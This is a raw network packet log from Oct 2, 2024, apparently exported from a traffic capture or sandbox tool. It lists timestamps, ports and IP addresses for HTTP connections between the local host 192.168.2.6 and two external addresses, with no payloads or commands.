Oct 2, 2024 17:17:25.978842020 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978884935 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978895903 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978905916 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978915930 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978929996 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978934050 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978946924 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978950024 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978969097 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978971004 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978985071 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978992939 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979024887 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.979151964 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979163885 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979175091 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979186058 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979192019 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.979209900 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.979234934 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.979235888 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979248047 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979258060 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979269028 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979279995 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979299068 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.979312897 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.979346991 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979357958 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979368925 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979378939 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979393959 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.979403973 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.979434013 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.979693890 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979706049 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979716063 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979726076 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979734898 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979741096 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.979746103 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979757071 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.979762077 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.979787111 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.979796886 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:26.453231096 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:26.453231096 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:26.458452940 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:26.458630085 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:26.778461933 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:26.778748989 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:26.819777966 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:26.824780941 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:27.003855944 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:27.003884077 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:27.003904104 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:27.003940105 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:27.003997087 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:27.007325888 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:27.012203932 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:27.191451073 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:27.191538095 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:27.203474998 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:27.208408117 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:27.411951065 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:27.412151098 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:27.415056944 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:27.419996977 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:27.613322973 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:27.613538980 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:27.618005991 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:27.622921944 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:27.623042107 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:27.623305082 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:27.628180027 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.265422106 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.265460014 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.265479088 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.265496016 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.265512943 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.265510082 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.265530109 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.265547991 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.265563965 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.265583038 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.265592098 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.265592098 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.265592098 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.265602112 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.265631914 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.265633106 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.265661001 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.270549059 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.270613909 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.270613909 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.270668983 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.356116056 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.356142044 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.356159925 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.356175900 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.356190920 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.356195927 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.356237888 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.356256962 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.356410980 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.356448889 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.356467009 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.356484890 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.356504917 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.356512070 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.356520891 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.356530905 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.356547117 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.356564999 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.357249975 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.357295990 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.357314110 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.357311010 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.357331991 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.357345104 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.357348919 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.357356071 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.357369900 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.357387066 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.358082056 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.358128071 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.358144045 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.358169079 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.358184099 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.358186007 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.358201981 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.358217001 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.358232021 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.358242035 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.446131945 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.446156979 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.446171999 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.446225882 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.446265936 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.446593046 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.446644068 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.446649075 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.446656942 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.446692944 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.446698904 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.446707010 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.446728945 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.446762085 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.447004080 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.447016954 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.447031021 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.447045088 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.447069883 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.447098017 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.447551012 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.447563887 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.447586060 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.447597980 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.447611094 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.447613001 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.447643042 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.447655916 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.448245049 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.448288918 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.448302031 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.448303938 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.448324919 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.448329926 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.448338032 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.448349953 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.448359013 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.448365927 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.448385954 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.448401928 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.449178934 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.449218035 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.449232101 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.449264050 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.449292898 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.449294090 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.449306965 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.449318886 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.449342966 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.449369907 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.450118065 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.450167894 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.450170040 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.450182915 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.450206995 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.450220108 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.450244904 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.450258017 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.450269938 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.450285912 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.450305939 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.450316906 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.451045990 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.451100111 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.538100004 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.538134098 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.538146973 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.538160086 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.538172960 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.538182974 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.538187981 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.538208961 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.538248062 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.538389921 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.538402081 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.538424015 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.538428068 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.538439989 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.538444996 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.538460016 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.538461924 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.538475037 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.538475037 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.538487911 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.538495064 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.538500071 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.538512945 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.538512945 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.538532019 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.538558960 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.539191961 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.539202929 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.539216995 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.539226055 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.539241076 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.539258003 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.539282084 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.539294958 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.539308071 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.539319992 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.539331913 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.539344072 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.539346933 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.539355040 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.539367914 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.539376974 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.539401054 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.539422035 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.540150881 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.540163040 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.540174961 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.540199041 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.540220976 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.540230036 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.540234089 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.540245056 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.540256977 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.540262938 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.540278912 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.540303946 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.540304899 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.540316105 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.540327072 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.540347099 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.540374041 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.541122913 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.541135073 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.541147947 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.541157007 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.541172028 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.541188955 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.541193962 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.541207075 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.541218042 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.541229010 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.541232109 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.541244030 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.541260958 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.541275978 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.541276932 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.541290045 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.541301966 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.541311026 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.541328907 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.541346073 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.542016983 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.542062044 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.542126894 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.542140007 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.542184114 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.542186975 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.542200089 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.542205095 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.542212963 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.542238951 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.542267084 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.542279005 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.542292118 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.542303085 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.542314053 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.542315006 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.542330980 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.542356014 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.543010950 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.543034077 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.543045998 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.543045998 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.543071985 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.543073893 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.543087959 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.543107033 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.628226042 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.628243923 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.628256083 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.628267050 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.628281116 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.628300905 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.628336906 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.628761053 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.628803015 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.628884077 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.628895044 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.628922939 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.628945112 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.628966093 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.628977060 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.628988028 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629008055 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629010916 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.629020929 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629035950 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629040956 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.629059076 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.629090071 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.629173040 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629184961 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.629216909 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.629273891 CEST	80	65281	147.45.44.104	192.168.2.6
